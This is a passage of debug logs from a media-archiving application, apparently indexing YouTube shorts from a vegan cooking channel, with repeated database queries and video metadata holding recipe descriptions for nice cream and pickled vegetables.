the microwave and stir together until velvety smooth\n2. To a blender add the frozen bananas, maple syrup, protein powder, vanilla extract and nondairy milk and blend until thick and smooth. Add extra milk as needed to help it blend.\n3. Scoop nice cream into a rectangular tin or dish and mix in the coconut flakes, chopped pecans/peanuts. Drizzle the melted chocolate nut butter on top and swirl into the nice cream.\n4. Chill in the freezer for at least 30 mins to allow the chocolate nut butter to firm up and get chewy.\n\nENJOY!", "Tin Roof Sundae Banana Nice Cream! 🍨", 1, 17, false, "tndMF4o6bso", "https://www.youtube.com/shorts/tndMF4o6bso", "/downloads/downloads/alec/Steamy Vegan/2022-07-12 Tin Roof Sundae Banana Nice Cream! 🍨/Tin Roof Sundae Banana Nice Cream! 🍨 [tndMF4o6bso].NA", true, ~U[2022-07-12 15:15:04Z]] 20:28:21.671 [debug] QUERY OK source="sources" db=0.3ms idle=87.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:21.671 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:21.672 [debug] QUERY OK source="media_items" db=0.6ms idle=6.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [705] 20:28:21.672 [debug] Current batch of media processed. Will check again in 1000ms 20:28:22.673 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "You've probably never tried pickled daikon radish but it's a definite must try and is perfect to add to many of your favourite vegan or gluten free meals. From vegan poke bowls to vegan and gluten free sandwiches or burgers, you can't go wrong with this.\n\nI looooove these smoked kelp flakes from Naas Foods (who I found out about at Planted Expo) and just HAD to try pairing it with some pickled daikon. A seriously perfect combo! Here’s how to make it:\n\n1. Add 1/2 tsp smoked kelp flakes to the bottom of a 32 oz (1 qt) glass jar and stuff your spiralized or shredded daikon radish until it’s full. \n2. To a small saucepan, combine 1 1/4 cup each water and vinegar, 1.5 tsp salt and 2 tsp sugar and stir. Bring to a boil on the stove until the salt and sugar are completely dissolved. \n3. Pour over the boiling hot brine until all the daikon is submerged. Let the jar cool and keep covered in your fridge. These taste amazing in sushi bowls, stir fries, wraps and summer rolls or just as a yummy crunchy snack! \n\n\nMusic by Chris J Clarke - Cheesekop Jam - https://thmatc.co/?l=188A9311", "duration" => 40, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-11 MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts/MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts [WHPTEeeZk34].NA", "id" => "WHPTEeeZk34", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/WHPTEeeZk34", "playlist_index" => 317, "timestamp" => 1657560886, "title" => "MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts", "upload_date" => "20220711"} 20:28:22.676 [debug] QUERY OK source="sources" db=1.6ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:22.677 [debug] QUERY OK source="sources" db=0.4ms idle=1005.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:22.679 [debug] QUERY OK source="media_items" db=1.9ms idle=1005.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-11 17:34:46Z], 1] 20:28:22.681 [debug] QUERY OK source="media_items" db=1.3ms idle=1006.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You've probably never tried pickled daikon radish but it's a definite must try and is perfect to add to many of your favourite vegan or gluten free meals. From vegan poke bowls to vegan and gluten free sandwiches or burgers, you can't go wrong with this.\n\nI looooove these smoked kelp flakes from Naas Foods (who I found out about at Planted Expo) and just HAD to try pairing it with some pickled daikon. A seriously perfect combo! Here’s how to make it:\n\n1. Add 1/2 tsp smoked kelp flakes to the bottom of a 32 oz (1 qt) glass jar and stuff your spiralized or shredded daikon radish until it’s full. \n2. To a small saucepan, combine 1 1/4 cup each water and vinegar, 1.5 tsp salt and 2 tsp sugar and stir. Bring to a boil on the stove until the salt and sugar are completely dissolved. \n3. Pour over the boiling hot brine until all the daikon is submerged. Let the jar cool and keep covered in your fridge. These taste amazing in sushi bowls, stir fries, wraps and summer rolls or just as a yummy crunchy snack! \n\n\nMusic by Chris J Clarke - Cheesekop Jam - https://thmatc.co/?l=188A9311", "MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts", "846ad1e9-a121-4e2a-b231-1c31de0c8181", 1, [], 40, false, "WHPTEeeZk34", "https://www.youtube.com/shorts/WHPTEeeZk34", 317, "/downloads/downloads/alec/Steamy Vegan/2022-07-11 MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts/MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts [WHPTEeeZk34].NA", false, false, true, 0, ~U[2022-07-11 17:34:46Z], ~U[2026-03-22 03:28:22Z], ~U[2026-03-22 03:28:22Z], "You've probably never tried pickled daikon radish but it's a definite must try and is perfect to add to many of your favourite vegan or gluten free meals. From vegan poke bowls to vegan and gluten free sandwiches or burgers, you can't go wrong with this.\n\nI looooove these smoked kelp flakes from Naas Foods (who I found out about at Planted Expo) and just HAD to try pairing it with some pickled daikon. A seriously perfect combo! Here’s how to make it:\n\n1. Add 1/2 tsp smoked kelp flakes to the bottom of a 32 oz (1 qt) glass jar and stuff your spiralized or shredded daikon radish until it’s full. \n2. To a small saucepan, combine 1 1/4 cup each water and vinegar, 1.5 tsp salt and 2 tsp sugar and stir. Bring to a boil on the stove until the salt and sugar are completely dissolved. \n3. Pour over the boiling hot brine until all the daikon is submerged. Let the jar cool and keep covered in your fridge. These taste amazing in sushi bowls, stir fries, wraps and summer rolls or just as a yummy crunchy snack! \n\n\nMusic by Chris J Clarke - Cheesekop Jam - https://thmatc.co/?l=188A9311", "MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts", 1, 40, false, "WHPTEeeZk34", "https://www.youtube.com/shorts/WHPTEeeZk34", "/downloads/downloads/alec/Steamy Vegan/2022-07-11 MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts/MUST TRY! Pickled Daikon Radish with Smoked Kelp Flakes?! 😲 #shorts #youtubeshorts [WHPTEeeZk34].NA", true, ~U[2022-07-11 17:34:46Z]] 20:28:22.682 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=363.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:22.682 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:22.683 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [706] 20:28:22.684 [debug] Current batch of media processed. Will check again in 1000ms 20:28:23.685 [debug] Current batch of media processed. Will check again in 1000ms 20:28:24.686 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "How to make the BEST and EASIEST homemade pickled JALAPEÑOS! 🌶 \n\nPickled Jalapeños are delicious on their own, but they are also a delicious spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegankitchen.com/pickled-jalapenos/", "duration" => 58, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-10 Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥/Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥 [YWTHDVkK_zs].NA", "id" => "YWTHDVkK_zs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/YWTHDVkK_zs", "playlist_index" => 318, "timestamp" => 1657475100, "title" => "Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥", "upload_date" => "20220710"} 20:28:24.687 [debug] QUERY OK source="sources" db=0.5ms idle=364.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:24.688 [debug] QUERY OK source="sources" db=0.7ms idle=104.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:24.690 [debug] QUERY OK source="media_items" db=2.1ms idle=105.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-10 17:45:00Z], 1] 20:28:24.692 [debug] QUERY OK source="media_items" db=0.8ms idle=107.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to make the BEST and EASIEST homemade pickled JALAPEÑOS! 🌶 \n\nPickled Jalapeños are delicious on their own, but they are also a delicious spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegankitchen.com/pickled-jalapenos/", "Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥", "a9509727-e09d-4272-b259-bed929ac3a37", 1, [], 58, false, "YWTHDVkK_zs", "https://www.youtube.com/shorts/YWTHDVkK_zs", 318, "/downloads/downloads/alec/Steamy Vegan/2022-07-10 Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥/Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥 [YWTHDVkK_zs].NA", false, false, true, 0, ~U[2022-07-10 17:45:00Z], ~U[2026-03-22 03:28:24Z], ~U[2026-03-22 03:28:24Z], "How to make the BEST and EASIEST homemade pickled JALAPEÑOS! 🌶 \n\nPickled Jalapeños are delicious on their own, but they are also a delicious spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegankitchen.com/pickled-jalapenos/", "Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥", 1, 58, false, "YWTHDVkK_zs", "https://www.youtube.com/shorts/YWTHDVkK_zs", "/downloads/downloads/alec/Steamy Vegan/2022-07-10 Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥/Pickled Jalapeños are as easy as 1-2-3! 🔥🔥🔥 [YWTHDVkK_zs].NA", true, ~U[2022-07-10 17:45:00Z]] 20:28:24.692 [debug] QUERY OK source="sources" db=0.6ms idle=108.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:24.693 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:24.694 [debug] QUERY OK source="media_items" db=0.6ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [707] 20:28:24.694 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Food should make you smile with it's bright colors and delicious flavors. I've been making all kinds of summertime vegan and gluten free dishes in my kitchen and I can't wait to share them with you over the next few weeks!\n\nSubscribe so you don't miss any of the upcoming episodes! Thanks for your support! Janelle", "duration" => 14, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-10 I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts/I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts [w4gz3EFel2A].NA", "id" => "w4gz3EFel2A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/w4gz3EFel2A", "playlist_index" => 319, "timestamp" => 1657465225, "title" => "I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts", "upload_date" => "20220710"} 20:28:24.695 [debug] QUERY OK source="sources" db=1.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:24.696 [debug] QUERY OK source="sources" db=0.5ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:24.698 [debug] QUERY OK source="media_items" db=2.0ms idle=3.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-10 15:00:25Z], 1] 20:28:24.700 [debug] QUERY OK source="media_items" db=0.8ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Food should make you smile with it's bright colors and delicious flavors. I've been making all kinds of summertime vegan and gluten free dishes in my kitchen and I can't wait to share them with you over the next few weeks!\n\nSubscribe so you don't miss any of the upcoming episodes! Thanks for your support! Janelle", "I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts", "f3984a43-cf72-422f-8ab7-b650e060b8a4", 1, [], 14, false, "w4gz3EFel2A", "https://www.youtube.com/shorts/w4gz3EFel2A", 319, "/downloads/downloads/alec/Steamy Vegan/2022-07-10 I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts/I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts [w4gz3EFel2A].NA", false, false, true, 1, ~U[2022-07-10 15:00:25Z], ~U[2026-03-22 03:28:24Z], ~U[2026-03-22 03:28:24Z], "Food should make you smile with it's bright colors and delicious flavors. I've been making all kinds of summertime vegan and gluten free dishes in my kitchen and I can't wait to share them with you over the next few weeks!\n\nSubscribe so you don't miss any of the upcoming episodes! Thanks for your support! Janelle", "I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts", 1, 14, false, "w4gz3EFel2A", "https://www.youtube.com/shorts/w4gz3EFel2A", "/downloads/downloads/alec/Steamy Vegan/2022-07-10 I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts/I’ve got those summertime food feels ☀️❤️🫐#shorts #youtubeshorts [w4gz3EFel2A].NA", true, ~U[2022-07-10 15:00:25Z]] 20:28:24.701 [debug] QUERY OK source="sources" db=0.5ms idle=5.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:28:24.701 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:28:24.702 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [708] 20:28:24.702 [debug] Current batch of media processed. Will check again in 1000ms 20:28:25.703 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A very interesting philosophy of life by Ashton Kutcher as Kelso in That 70s Show. I think food definitely is special in how it brings families and friends together around the dinner table. \n\nIf you want to add more vegan or gluten free recipes to your repertoire then you'll want to subscribe to my channel so you don't miss out on any of my very 'special' videos! Thanks for your support! Janelle", "duration" => 11, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-07-09 Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts/Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts [gn5-zPWkahI].NA", "id" => "gn5-zPWkahI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gn5-zPWkahI", "playlist_index" => 320, "timestamp" => 1657378823, "title" => "Everything is special - Kelso’s philosophy of life 🤔#shorts #youtubeshorts", "upload_date" => "20220709"} 20:28:25.704 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:28:25.705 [debug] QUERY OK source="sources" db=0.6ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 